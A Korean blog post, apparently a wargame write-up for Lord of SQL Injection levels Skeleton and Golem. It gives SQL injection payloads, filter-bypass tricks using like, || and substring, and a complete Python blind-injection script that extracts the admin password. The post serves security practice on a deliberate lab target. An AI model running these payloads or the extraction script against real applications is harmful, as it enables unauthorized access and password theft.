반응형
[Level 10. Skeleton] Sol → ?pw=' or id = 'admin' %23
id가 admin이어야 단계를 Clear 할 수 있다.
where 절은 and 조건으로 이어져있는데 하나가 이미 거짓이다.
그래서 참을 만들어주기 위해 or로 id = 'admin'을 넣고 #으로 뒤에 거짓 조건은 무시하게 만들었다.
쉽게 Clear 할 수 있었다.
[Level 11. Golem] Sol → ?pw=77d6290b
id admin의 패스워드를 맞추어야 하는데, or / and / substr(Blind SQL)을 모두 사용하지 못한다.
근데 이 문제도 7, 8단계와 마찬가지로 or는 ||, and는 &&, substring은 SUBSTRING를 사용해서 자동화 툴을 돌려주었다.
그런데 이 문제에서는 등호(=)도 사용하지 못한다. 찾아보니 등호는 like로 대체할 수 있었다.
?pw=' || id like 'admin' %26%26 length(pw) > 1 %23 으로 쳐주니 참 거짓을 잘 확인할 수 있었다.
추가로 길이를 알아낸 후에는 substring을 사용하여 비밀번호를 한 글자씩 알아내야 하는데, 문제에서 필터링하고 있는 것은 substr( 이라서 substring을 사용하면 필터링에 걸리지 않는다.
이제 자동화 툴을 돌려서 비밀번호 길이와 비밀번호를 알아내 보자.
import requests
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookie = {'PHPSESSID': 'cookies'}
def find_length():
pwlength = 1
while True:
param = {"pw": "' || id like 'admin' && length(pw) like {} #".format(pwlength)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
return pwlength
else:
pwlength += 1
def find_pw():
length = find_length()
print("비밀번호 길이: ", length)
password = ""
for i in range(length):
s = 1
e = 127
value = 64
while True:
param = {"pw": "' || id like 'admin' && ascii(substring(pw, {}, 1)) like {} #".format(i+1, value)}
print(param)
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
password += chr(value)
break
else:
param = {"pw": "' || id like 'admin' && ascii(substring(pw, {}, 1)) > {} #".format(i+1, value)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
s = value
value = (value + e) // 2
else:
e = value
value = (s + value) // 2
print("비밀번호는: ", password)
find_pw()
비밀번호를 잘 알아냈다.
반응형
'WarGames > SQL Injection' 카테고리의 다른 글
Lord of SQL Injection : Bugbear[13] (0) | 2021.12.05 |
---|---|
Lord of SQL Injection : Darknight[12] (0) | 2021.12.04 |
Lord of SQL Injection : Troll[8] ~ Vampire[9] (0) | 2021.11.29 |
Lord of SQL Injection : Orge[7] (0) | 2021.11.24 |
Lord of SQL Injection : Darkelf[6] (0) | 2021.11.23 |
댓글